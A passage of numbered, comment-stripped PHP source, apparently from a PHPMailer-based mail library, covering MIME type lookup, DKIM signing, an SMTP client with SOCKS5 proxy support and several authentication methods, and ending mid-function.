  2241.             'xhtml' => 'application/xhtml+xml',
  2242.             'zip' => 'application/zip',
  2243.             'mid' => 'audio/midi',
  2244.             'midi' => 'audio/midi',
  2245.             'mp2' => 'audio/mpeg',
  2246.             'mp3' => 'audio/mpeg',
  2247.             'mpga' => 'audio/mpeg',
  2248.             'aif' => 'audio/x-aiff',
  2249.             'aifc' => 'audio/x-aiff',
  2250.             'aiff' => 'audio/x-aiff',
  2251.             'ram' => 'audio/x-pn-realaudio',
  2252.             'rm' => 'audio/x-pn-realaudio',
  2253.             'rpm' => 'audio/x-pn-realaudio-plugin',
  2254.             'ra' => 'audio/x-realaudio',
  2255.             'wav' => 'audio/x-wav',
  2256.             'bmp' => 'image/bmp',
  2257.             'gif' => 'image/gif',
  2258.             'jpeg' => 'image/jpeg',
  2259.             'jpe' => 'image/jpeg',
  2260.             'jpg' => 'image/jpeg',
  2261.             'png' => 'image/png',
  2262.             'tiff' => 'image/tiff',
  2263.             'tif' => 'image/tiff',
  2264.             'eml' => 'message/rfc822',
  2265.             'css' => 'text/css',
  2266.             'html' => 'text/html',
  2267.             'htm' => 'text/html',
  2268.             'shtml' => 'text/html',
  2269.             'log' => 'text/plain',
  2270.             'text' => 'text/plain',
  2271.             'txt' => 'text/plain',
  2272.             'rtx' => 'text/richtext',
  2273.             'rtf' => 'text/rtf',
  2274.             'vcf' => 'text/vcard',
  2275.             'vcard' => 'text/vcard',
  2276.             'xml' => 'text/xml',
  2277.             'xsl' => 'text/xml',
  2278.             'mpeg' => 'video/mpeg',
  2279.             'mpe' => 'video/mpeg',
  2280.             'mpg' => 'video/mpeg',
  2281.             'mov' => 'video/quicktime',
  2282.             'qt' => 'video/quicktime',
  2283.             'rv' => 'video/vnd.rn-realvideo',
  2284.             'avi' => 'video/x-msvideo',
  2285.             'movie' => 'video/x-sgi-movie'
  2286.         );
  2287.         if (array_key_exists(strtolower($ext), $mimes)) {
  2288.             return $mimes[strtolower($ext)];
  2289.         }
  2290.         return 'application/octet-stream';
  2291.     }
  2292.     public static function filenameToType($filename) {
  2293.         $qpos = strpos($filename, '?');
  2294.         if (false !== $qpos) {
  2295.             $filename = substr($filename, 0, $qpos);
  2296.         }
  2297.         $pathinfo = self::mb_pathinfo($filename);
  2298.         return self::_mime_types($pathinfo['extension']);
  2299.     }
  2300.     public static function mb_pathinfo($path, $options = null) {
  2301.         $ret      = array(
  2302.             'dirname' => '',
  2303.             'basename' => '',
  2304.             'extension' => '',
  2305.             'filename' => ''
  2306.         );
  2307.         $pathinfo = array();
  2308.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2309.             if (array_key_exists(1, $pathinfo)) {
  2310.                 $ret['dirname'] = $pathinfo[1];
  2311.             }
  2312.             if (array_key_exists(2, $pathinfo)) {
  2313.                 $ret['basename'] = $pathinfo[2];
  2314.             }
  2315.             if (array_key_exists(5, $pathinfo)) {
  2316.                 $ret['extension'] = $pathinfo[5];
  2317.             }
  2318.             if (array_key_exists(3, $pathinfo)) {
  2319.                 $ret['filename'] = $pathinfo[3];
  2320.             }
  2321.         }
  2322.         switch ($options) {
  2323.             case PATHINFO_DIRNAME:
  2324.             case 'dirname':
  2325.                 return $ret['dirname'];
  2326.             case PATHINFO_BASENAME:
  2327.             case 'basename':
  2328.                 return $ret['basename'];
  2329.             case PATHINFO_EXTENSION:
  2330.             case 'extension':
  2331.                 return $ret['extension'];
  2332.             case PATHINFO_FILENAME:
  2333.             case 'filename':
  2334.                 return $ret['filename'];
  2335.             default:
  2336.                 return $ret;
  2337.         }
  2338.     }
  2339.     public function set($name, $value = '') {
  2340.         if (property_exists($this, $name)) {
  2341.             $this->$name = $value;
  2342.             return true;
  2343.         } else {
  2344.             $this->setError($this->lang('variable_set') . $name);
  2345.             return false;
  2346.         }
  2347.     }
  2348.     public function secureHeader($str) {
  2349.         return trim(str_replace(array(
  2350.             "\r",
  2351.             "\n"
  2352.         ), '', $str));
  2353.     }
  2354.     public static function normalizeBreaks($text, $breaktype = "\r\n") {
  2355.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2356.     }
  2357.     public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') {
  2358.         $this->sign_cert_file       = $cert_filename;
  2359.         $this->sign_key_file        = $key_filename;
  2360.         $this->sign_key_pass        = $key_pass;
  2361.         $this->sign_extracerts_file = $extracerts_filename;
  2362.     }
  2363.     public function DKIM_QP($txt) {
  2364.         $line = '';
  2365.         for ($i = 0; $i < strlen($txt); $i++) {
  2366.             $ord = ord($txt[$i]);
  2367.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2368.                 $line .= $txt[$i];
  2369.             } else {
  2370.                 $line .= '=' . sprintf('%02X', $ord);
  2371.             }
  2372.         }
  2373.         return $line;
  2374.     }
  2375.     public function DKIM_Sign($signHeader) {
  2376.         if (!defined('PKCS7_TEXT')) {
  2377.             if ($this->exceptions) {
  2378.                 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2379.             }
  2380.             return '';
  2381.         }
  2382.         $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : @file_get_contents($this->DKIM_private);
  2383.         if ('' != $this->DKIM_passphrase) {
  2384.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2385.         } else {
  2386.             $privKey = openssl_pkey_get_private($privKeyStr);
  2387.         }
  2388.         if (version_compare(PHP_VERSION, '5.3.0') >= 0 and in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
  2389.             if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
  2390.                 openssl_pkey_free($privKey);
  2391.                 return base64_encode($signature);
  2392.             }
  2393.         } else {
  2394.             $pinfo = openssl_pkey_get_details($privKey);
  2395.             $hash  = hash('sha256', $signHeader);
  2396.             $t     = '3031300d060960864801650304020105000420' . $hash;
  2397.             $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
  2398.             $eb    = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
  2399.             if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
  2400.                 openssl_pkey_free($privKey);
  2401.                 return base64_encode($signature);
  2402.             }
  2403.         }
  2404.         openssl_pkey_free($privKey);
  2405.         return '';
  2406.     }
  2407.     public function DKIM_HeaderC($signHeader) {
  2408.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2409.         $lines      = explode("\r\n", $signHeader);
  2410.         foreach ($lines as $key => $line) {
  2411.             list($heading, $value) = explode(':', $line, 2);
  2412.             $heading     = strtolower($heading);
  2413.             $value       = preg_replace('/\s{2,}/', ' ', $value);
  2414.             $lines[$key] = $heading . ':' . trim($value);
  2415.         }
  2416.         $signHeader = implode("\r\n", $lines);
  2417.         return $signHeader;
  2418.     }
  2419.     public function DKIM_BodyC($body) {
  2420.         if ($body == '') {
  2421.             return "\r\n";
  2422.         }
  2423.         $body = str_replace("\r\n", "\n", $body);
  2424.         $body = str_replace("\n", "\r\n", $body);
  2425.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2426.             $body = substr($body, 0, strlen($body) - 2);
  2427.         }
  2428.         return $body;
  2429.     }
  2430.     public function DKIM_Add($headers_line, $subject, $body) {
  2431.         $DKIMsignatureType    = 'rsa-sha256';
  2432.         $DKIMcanonicalization = 'relaxed/simple';
  2433.         $DKIMquery            = 'dns/txt';
  2434.         $DKIMtime             = time();
  2435.         $subject_header       = "Subject: $subject";
  2436.         $headers              = explode($this->LE, $headers_line);
  2437.         $from_header          = '';
  2438.         $to_header            = '';
  2439.         $date_header          = '';
  2440.         $current              = '';
  2441.         foreach ($headers as $header) {
  2442.             if (strpos($header, 'From:') === 0) {
  2443.                 $from_header = $header;
  2444.                 $current     = 'from_header';
  2445.             } elseif (strpos($header, 'To:') === 0) {
  2446.                 $to_header = $header;
  2447.                 $current   = 'to_header';
  2448.             } elseif (strpos($header, 'Date:') === 0) {
  2449.                 $date_header = $header;
  2450.                 $current     = 'date_header';
  2451.             } else {
  2452.                 if (!empty($$current) && strpos($header, ' =?') === 0) {
  2453.                     $$current .= $header;
  2454.                 } else {
  2455.                     $current = '';
  2456.                 }
  2457.             }
  2458.         }
  2459.         $from    = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2460.         $to      = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2461.         $date    = str_replace('|', '=7C', $this->DKIM_QP($date_header));
  2462.         $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header));
  2463.         $body    = $this->DKIM_BodyC($body);
  2464.         $DKIMlen = strlen($body);
  2465.         $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body)));
  2466.         if ('' == $this->DKIM_identity) {
  2467.             $ident = '';
  2468.         } else {
  2469.             $ident = ' i=' . $this->DKIM_identity . ';';
  2470.         }
  2471.         $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";\r\n" . "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . "\th=From:To:Date:Subject;\r\n" . "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . "\tz=$from\r\n" . "\t|$to\r\n" . "\t|$date\r\n" . "\t|$subject;\r\n" . "\tbh=" . $DKIMb64 . ";\r\n" . "\tb=";
  2472.         $toSign   = $this->DKIM_HeaderC($from_header . "\r\n" . $to_header . "\r\n" . $date_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs);
  2473.         $signed   = $this->DKIM_Sign($toSign);
  2474.         return $dkimhdrs . $signed . "\r\n";
  2475.     }
  2476.     public static function hasLineLongerThanMax($str) {
  2477.         return (boolean) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + 2) . ',})/m', $str);
  2478.     }
  2479.     public function getToAddresses() {
  2480.         return $this->to;
  2481.     }
  2482.     public function getCcAddresses() {
  2483.         return $this->cc;
  2484.     }
  2485.     public function getBccAddresses() {
  2486.         return $this->bcc;
  2487.     }
  2488.     public function getReplyToAddresses() {
  2489.         return $this->ReplyTo;
  2490.     }
  2491.     public function getAllRecipientAddresses() {
  2492.         return $this->all_recipients;
  2493.     }
  2494.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) {
  2495.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  2496.             $params = array(
  2497.                 $isSent,
  2498.                 $to,
  2499.                 $cc,
  2500.                 $bcc,
  2501.                 $subject,
  2502.                 $body,
  2503.                 $from
  2504.             );
  2505.             call_user_func_array($this->action_function, $params);
  2506.         }
  2507.     }
  2508. }
  2509. class phpmailerException extends Exception {
  2510.     public function errorMessage() {
  2511.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2512.         return $errorMsg;
  2513.     }
  2514. }
  2515. class SMTP {
  2516.     const CRLF = "\r\n";
  2517.     const DEFAULT_SMTP_PORT = 25;
  2518.     const MAX_LINE_LENGTH = 998;
  2519.     const DEBUG_OFF = 0;
  2520.     const DEBUG_CLIENT = 1;
  2521.     const DEBUG_SERVER = 2;
  2522.     const DEBUG_CONNECTION = 3;
  2523.     const DEBUG_LOWLEVEL = 4;
  2524.     public $SMTP_PORT = 25;
  2525.     public $CRLF = "\r\n";
  2526.     public $do_debug = self::DEBUG_OFF;
  2527.     public $Debugoutput = 'echo';
  2528.     public $do_verp = false;
  2529.     public $Timeout = 10;
  2530.     public $Timelimit = 10;
  2531.     public $UseSocks = false;
  2532.     public $SocksHost = null;
  2533.     public $SocksPort = 0;
  2534.     protected $smtp_transaction_id_patterns = array('exim' => '/[0-9]{3} OK id=(.*)/', 'sendmail' => '/[0-9]{3} 2.0.0 (.*) Message/', 'postfix' => '/[0-9]{3} 2.0.0 Ok: queued as (.*)/');
  2535.     protected $smtp_conn;
  2536.     protected $error = array('error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '');
  2537.     protected $helo_rply = null;
  2538.     protected $server_caps = null;
  2539.     protected $last_reply = '';
  2540.     protected function edebug($str, $level = 0) {
  2541.         if ($level > $this->do_debug) {
  2542.             return;
  2543.         }
  2544.         if (!in_array($this->Debugoutput, array(
  2545.             'error_log',
  2546.             'html',
  2547.             'echo'
  2548.         )) and is_callable($this->Debugoutput)) {
  2549.             call_user_func($this->Debugoutput, $str, $level);
  2550.             return;
  2551.         }
  2552.         switch ($this->Debugoutput) {
  2553.             case 'error_log':
  2554.                 error_log($str);
  2555.                 break;
  2556.             case 'html':
  2557.                 echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8') . "<br>\n";
  2558.                 break;
  2559.             case 'echo':
  2560.             default:
  2561.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  2562.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace("\n", "\n                   \t                  ", trim($str)) . "\n";
  2563.         }
  2564.     }
  2565.     public function connect($host, $port = null, $timeout = 10, $options = array()) {
  2566.         static $streamok;
  2567.         if (is_null($streamok)) {
  2568.             $streamok = function_exists('stream_socket_client');
  2569.         }
  2570.         $this->setError('');
  2571.         if ($this->connected()) {
  2572.             $this->setError('Already connected to a server');
  2573.             return false;
  2574.         }
  2575.         if (empty($port)) {
  2576.             $port = self::DEFAULT_SMTP_PORT;
  2577.         }
  2578.         if ($this->UseSocks) {
  2579.             $this->edebug("Connection: opening to $host:$port, socks={$this->SocksHost}:{$this->SocksPort}, timeout=$timeout, options=" . var_export($options, true), self::DEBUG_CONNECTION);
  2580.             $SocksSocket = @fsockopen($this->SocksHost, $this->SocksPort, $errno, $errbuf, $timeout);
  2581.             if (!$SocksSocket) {
  2582.                 $this->edebug("Connection to SOCKS server could not be established on " . $this->SocksHost . ":" . $this->SocksPort . " (Connection refused)", self::DEBUG_CONNECTION);
  2583.                 return false;
  2584.             }
  2585.             fwrite($SocksSocket, pack("C3", 0x05, 0x01, 0x00));
  2586.             $SocksStatus = fread($SocksSocket, 8192);
  2587.             $responce    = unpack("Cversion/Cmethod", $SocksStatus);
  2588.             if ($responce["version"] != 0x05 and $responce["method"] != 0x00) {
  2589.                 $this->edebug("SOCKS Server does not support this version and/or authentication method of SOCKS.", self::DEBUG_CONNECTION);
  2590.                 return false;
  2591.             }
  2592.             if (ip2long($host) == -1) {
  2593.                 fwrite($SocksSocket, pack("C5", 0x05, 0x01, 0x00, 0x03, strlen($host)) . $host . pack("n", $port));
  2594.             } else {
  2595.                 fwrite($SocksSocket, pack("C4Nn", 0x05, 0x01, 0x00, 0x01, ip2long(gethostbyname($host)), $port));
  2596.             }
  2597.             $SocksStatus = fread($SocksSocket, 8192);
  2598.             $responce    = unpack("Cversion/Cresult/Creg/Ctype/Lip/Sport", $SocksStatus);
  2599.             if ($responce["version"] == 0x05 and $responce["result"] == 0x00) {
  2600.                 $this->smtp_conn = $SocksSocket;
  2601.             } else {
  2602.                 $this->edebug("The SOCKS server failed to connect to the specificed host and port. ( " . $host . ":" . $port . " )", self::DEBUG_CONNECTION);
  2603.                 return false;
  2604.             }
  2605.         } else {
  2606.             $this->edebug("Connection: opening to $host:$port, timeout=$timeout, options=" . var_export($options, true), self::DEBUG_CONNECTION);
  2607.             $errno  = 0;
  2608.             $errstr = '';
  2609.             if ($streamok) {
  2610.                 $socket_context  = stream_context_create($options);
  2611.                 $this->smtp_conn = @stream_socket_client($host . ":" . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context);
  2612.             } else {
  2613.                 $this->edebug("Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION);
  2614.                 $this->smtp_conn = fsockopen($host, $port, $errno, $errstr, $timeout);
  2615.             }
  2616.         }
  2617.         if (!is_resource($this->smtp_conn)) {
  2618.             $this->setError('Failed to connect to server', $errno, $errstr);
  2619.             $this->edebug('SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT);
  2620.             return false;
  2621.         }
  2622.         $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  2623.         if (substr(PHP_OS, 0, 3) != 'WIN') {
  2624.             $max = ini_get('max_execution_time');
  2625.             if ($max != 0 && $timeout > $max) {
  2626.                 @set_time_limit($timeout);
  2627.             }
  2628.             stream_set_timeout($this->smtp_conn, $timeout, 0);
  2629.         }
  2630.         $announce = $this->get_lines();
  2631.         $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  2632.         return true;
  2633.     }
  2634.     public function startTLS() {
  2635.         if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  2636.             return false;
  2637.         }
  2638.         $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;
  2639.         if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
  2640.             $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
  2641.             $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
  2642.         }
  2643.         if (!stream_socket_enable_crypto($this->smtp_conn, true, $crypto_method)) {
  2644.             return false;
  2645.         }
  2646.         return true;
  2647.     }
  2648.     public function authenticate($username, $password, $authtype = null, $realm = '', $workstation = '', $OAuth = null) {
  2649.         if (!$this->server_caps) {
  2650.             $this->setError('Authentication is not allowed before HELO/EHLO');
  2651.             return false;
  2652.         }
  2653.         if (array_key_exists('EHLO', $this->server_caps)) {
  2654.             if (!array_key_exists('AUTH', $this->server_caps)) {
  2655.                 $this->setError('Authentication is not allowed at this stage');
  2656.                 return false;
  2657.             }
  2658.             self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  2659.             self::edebug('Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL);
  2660.             if (empty($authtype)) {
  2661.                 foreach (array(
  2662.                     'CRAM-MD5',
  2663.                     'LOGIN',
  2664.                     'PLAIN',
  2665.                     'NTLM',
  2666.                     'XOAUTH2'
  2667.                 ) as $method) {
  2668.                     if (in_array($method, $this->server_caps['AUTH'])) {
  2669.                         $authtype = $method;
  2670.                         break;
  2671.                     }
  2672.                 }
  2673.                 if (empty($authtype)) {
  2674.                     $this->setError('No supported authentication methods found');
  2675.                     return false;
  2676.                 }
  2677.                 self::edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL);
  2678.             }
  2679.             if (!in_array($authtype, $this->server_caps['AUTH'])) {
  2680.                 $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  2681.                 return false;
  2682.             }
  2683.         } elseif (empty($authtype)) {
  2684.             $authtype = 'LOGIN';
  2685.         }
  2686.         switch ($authtype) {
  2687.             case 'PLAIN':
  2688.                 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  2689.                     return false;
  2690.                 }
  2691.                 if (!$this->sendCommand('User & Password', base64_encode("\0" . $username . "\0" . $password), 235)) {
  2692.                     return false;
  2693.                 }
  2694.                 break;
  2695.             case 'LOGIN':
  2696.                 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  2697.                     return false;
  2698.                 }
  2699.                 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  2700.                     return false;
  2701.                 }
  2702.                 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  2703.                     return false;
  2704.                 }
  2705.                 break;
  2706.             case 'XOAUTH2':
  2707.                 if (is_null($OAuth)) {
  2708.                     return false;
  2709.                 }
  2710.                 $oauth = $OAuth->getOauth64();
  2711.                 if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) {
  2712.                     return false;
  2713.                 }
  2714.                 break;
  2715.             case 'NTLM':
  2716.                 $temp        = new stdClass;
  2717.                 $ntlm_client = new ntlm_sasl_client_class;
  2718.                 if (!$ntlm_client->initialize($temp)) {
  2719.                     $this->setError($temp->error);
  2720.                     $this->edebug('You need to enable some modules in your php.ini file: ' . $this->error['error'], self::DEBUG_CLIENT);
  2721.                     return false;
  2722.                 }
  2723.                 $msg1 = $ntlm_client->typeMsg1($realm, $workstation);
  2724.                 if (!$this->sendCommand('AUTH NTLM', 'AUTH NTLM ' . base64_encode($msg1), 334)) {
  2725.                     return false;
  2726.                 }
  2727.                 $challenge = substr($this->last_reply, 3);
  2728.                 $challenge = base64_decode($challenge);
  2729.                 $ntlm_res  = $ntlm_client->NTLMResponse(substr($challenge, 24, 8), $password);
  2730.                 $msg3      = $ntlm_client->typeMsg3($ntlm_res, $username, $realm, $workstation);
  2731.                 return $this->sendCommand('Username', base64_encode($msg3), 235);
  2732.             case 'CRAM-MD5':
  2733.                 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  2734.                     return false;
  2735.                 }
  2736.                 $challenge = base64_decode(substr($this->last_reply, 4));
  2737.                 $response  = $username . ' ' . $this->hmac($challenge, $password);
  2738.                 return $this->sendCommand('Username', base64_encode($response), 235);
  2739.             default:
  2740.                 $this->setError("Authentication method \"$authtype\" is not supported");
  2741.                 return false;
  2742.         }
  2743.         return true;
  2744.     }
  2745.     protected function hmac($data, $key) {
  2746.         if (function_exists('hash_hmac')) {
  2747.             return hash_hmac('md5', $data, $key);
  2748.         }
  2749.         $bytelen = 64;
  2750.         if (strlen($key) > $bytelen) {
  2751.             $key = pack('H*', md5($key));
  2752.         }
  2753.         $key    = str_pad($key, $bytelen, chr(0x00));
  2754.         $ipad   = str_pad('', $bytelen, chr(0x36));
  2755.         $opad   = str_pad('', $bytelen, chr(0x5c));
  2756.         $k_ipad = $key ^ $ipad;
  2757.         $k_opad = $key ^ $opad;
  2758.         return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  2759.     }
  2760.     public function connected() {
  2761.         if (is_resource($this->smtp_conn)) {
  2762.             $sock_status = stream_get_meta_data($this->smtp_conn);
  2763.             if ($sock_status['eof']) {
  2764.                 $this->edebug('SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT);
  2765.                 $this->close();
  2766.                 return false;
  2767.             }
  2768.             return true;
  2769.         }
  2770.         return false;
  2771.     }
  2772.     public function close() {
  2773.         $this->setError('');
  2774.         $this->server_caps = null;
  2775.         $this->helo_rply   = null;
  2776.         if (is_resource($this->smtp_conn)) {
  2777.             fclose($this->smtp_conn);
  2778.             $this->smtp_conn = null;
  2779.             $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  2780.         }
  2781.     }
  2782.     public function data($msg_data) {
  2783.         if (!$this->sendCommand('DATA', 'DATA', 354)) {
  2784.             return false;
  2785.         }
  2786.         $lines      = explode("\n", str_replace(array(
  2787.             "\r\n",
  2788.             "\r"
  2789.         ), "\n", $msg_data));
  2790.         $field      = substr($lines[0], 0, strpos($lines[0], ':'));
  2791.         $in_headers = false;
  2792.         if (!empty($field) && strpos($field, ' ') === false) {
  2793.             $in_headers = true;
  2794.         }
  2795.         foreach ($lines as $line) {
  2796.             $lines_out = array();
  2797.             if ($in_headers and $line == '') {
  2798.                 $in_headers = false;
  2799.             }
  2800.             while (isset($line[self::MAX_LINE_LENGTH])) {
  2801.                 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  2802.                 if (!$pos) {
  2803.                     $pos         = self::MAX_LINE_LENGTH - 1;
  2804.                     $lines_out[] = substr($line, 0, $pos);
  2805.                     $line        = substr($line, $pos);
  2806.                 } else {
  2807.                     $lines_out[] = substr($line, 0, $pos);
  2808.                     $line        = substr($line, $pos + 1);
  2809.                 }
  2810.                 if ($in_headers) {
  2811.                     $line = "\t" . $line;
  2812.                 }
  2813.             }
  2814.             $lines_out[] = $line;
  2815.             foreach ($lines_out as $line_out) {
  2816.                 if (!empty($line_out) and $line_out[0] == '.') {
  2817.                     $line_out = '.' . $line_out;
  2818.                 }
  2819.                 $this->client_send($line_out . self::CRLF);
  2820.             }
  2821.         }
  2822.         $savetimelimit   = $this->Timelimit;
  2823.         $this->Timelimit = $this->Timelimit * 2;
  2824.         $result          = $this->sendCommand('DATA END', '.', 250);
  2825.         $this->Timelimit = $savetimelimit;
  2826.         return $result;
  2827.     }
  2828.     public function hello($host = '') {
  2829.         return (boolean) ($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  2830.     }
  2831.     protected function sendHello($hello, $host) {
  2832.         $noerror         = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  2833.         $this->helo_rply = $this->last_reply;
  2834.         if ($noerror) {
  2835.             $this->parseHelloFields($hello);
  2836.         } else {
  2837.             $this->server_caps = null;
  2838.         }
  2839.         return $noerror;
  2840.     }
  2841.     protected function parseHelloFields($type) {
  2842.         $this->server_caps = array();
  2843.         $lines             = explode("\n", $this->helo_rply);
  2844.         foreach ($lines as $n => $s) {
  2845.             $s = trim(substr($s, 4));
  2846.             if (empty($s)) {
  2847.                 continue;
  2848.             }
  2849.             $fields = explode(' ', $s);
  2850.             if (!empty($fields)) {
  2851.                 if (!$n) {
  2852.                     $name   = $type;
  2853.                     $fields = $fields[0];
  2854.                 } else {
  2855.                     $name = array_shift($fields);
  2856.                     switch ($name) {
  2857.                         case 'SIZE':
  2858.                             $fields = ($fields ? $fields[0] : 0);
  2859.                             break;
  2860.                         case 'AUTH':
  2861.                             if (!is_array($fields)) {
  2862.                                 $fields = array();
  2863.                             }
  2864.                             break;
  2865.                         default:
  2866.                             $fields = true;
  2867.                     }
  2868.                 }
  2869.                 $this->server_caps[$name] = $fields;
  2870.             }
  2871.         }
  2872.     }
  2873.     public function mail($from) {
  2874.         $useVerp = ($this->do_verp ? ' XVERP' : '');
  2875.         return $this->sendCommand('MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useVerp, 250);
  2876.     }
  2877.     public function quit($close_on_error = true) {
  2878.         $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  2879.         $err     = $this->error;
  2880.         if ($noerror or $close_on_error) {
  2881.             $this->close();
  2882.             $this->error = $err;
  2883.         }
  2884.         return $noerror;
  2885.     }
  2886.     public function recipient($address) {
  2887.         return $this->sendCommand('RCPT TO', 'RCPT TO:<' . $address . '>', array(
  2888.             250,
  2889.             251
  2890.         ));
  2891.     }
  2892.     public function reset() {
  2893.         return $this->sendCommand('RSET', 'RSET', 250);
  2894.     }
  2895.     protected function sendCommand($command, $commandstring, $expect) {
  2896.         if (!$this->connected()) {
  2897.             $this->setError("Called $command without being connected");
  2898.             return false;
  2899.         }
  2900.         if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) {
  2901.             $this->setError("Command '$command' contained line breaks");
  2902.             return false;
  2903.         }
  2904.         $this->client_send($commandstring . self::CRLF);
  2905.         $this->last_reply = $this->get_lines();
  2906.         $matches          = array();
  2907.         if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  2908.             $code    = $matches[1];
  2909.             $code_ex = (count($matches) > 2 ? $matches[2] : null);
  2910.             $detail  = preg_replace("/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . "/m", '', $this->last_reply);
  2911.         } else {
  2912.             $code    = substr($this->last_reply, 0, 3);
  2913.             $code_ex = null;
  2914.             $detail  = substr($this->last_reply, 4);
  2915.         }
  2916.         $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  2917.         if (!in_array($code, (array) $expect)) {
  2918.             $this->setError("$command command failed", $detail, $code, $code_ex);
  2919.             $this->edebug('SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT);
  2920.             return false;
  2921.         }
  2922.         $this->setError('');
  2923.         return true;
  2924.     }
  2925.     public function sendAndMail($from) {
  2926.         return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  2927.     }
  2928.     public function verify($name) {
  2929.         return $this->sendCommand('VRFY', "VRFY $name", array(
  2930.             250,
  2931.             251
  2932.         ));
  2933.     }
  2934.     public function noop() {
  2935.         return $this->sendCommand('NOOP', 'NOOP', 250);
  2936.     }
  2937.     public function turn() {
  2938.         $this->setError('The SMTP TURN command is not implemented');
  2939.         $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  2940.         return false;
  2941.     }
  2942.     public function client_send($data) {
  2943.         $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  2944.         return fwrite($this->smtp_conn, $data);
  2945.     }
  2946.     public function getError() {
  2947.         return $this->error;
  2948.     }
  2949.     public function getServerExtList() {
  2950.         return $this->server_caps;
  2951.     }
  2952.     public function getServerExt($name) {
  2953.         if (!$this->server_caps) {
  2954.             $this->setError('No HELO/EHLO was sent');
  2955.             return null;
  2956.         }
  2957.         if (!array_key_exists($name, $this->server_caps)) {
  2958.             if ($name == 'HELO') {
  2959.                 return $this->server_caps['EHLO'];
  2960.             }
  2961.             if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  2962.                 return false;
  2963.             }
  2964.             $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  2965.             return null;
  2966.         }
  2967.         return $this->server_caps[$name];
  2968.     }
  2969.     public function getLastReply() {
  2970.         return $this->last_reply;
  2971.     }
  2972.     protected function get_lines() {
  2973.         if (!is_resource($this->smtp_conn)) {
  2974.             return '';
  2975.         }
  2976.         $data    = '';
  2977.         $endtime = 0;
  2978.         stream_set_timeout($this->smtp_conn, $this->Timeout);
  2979.         if ($this->Timelimit > 0) {
  2980.             $endtime = time() + $this->Timelimit;
  2981.         }
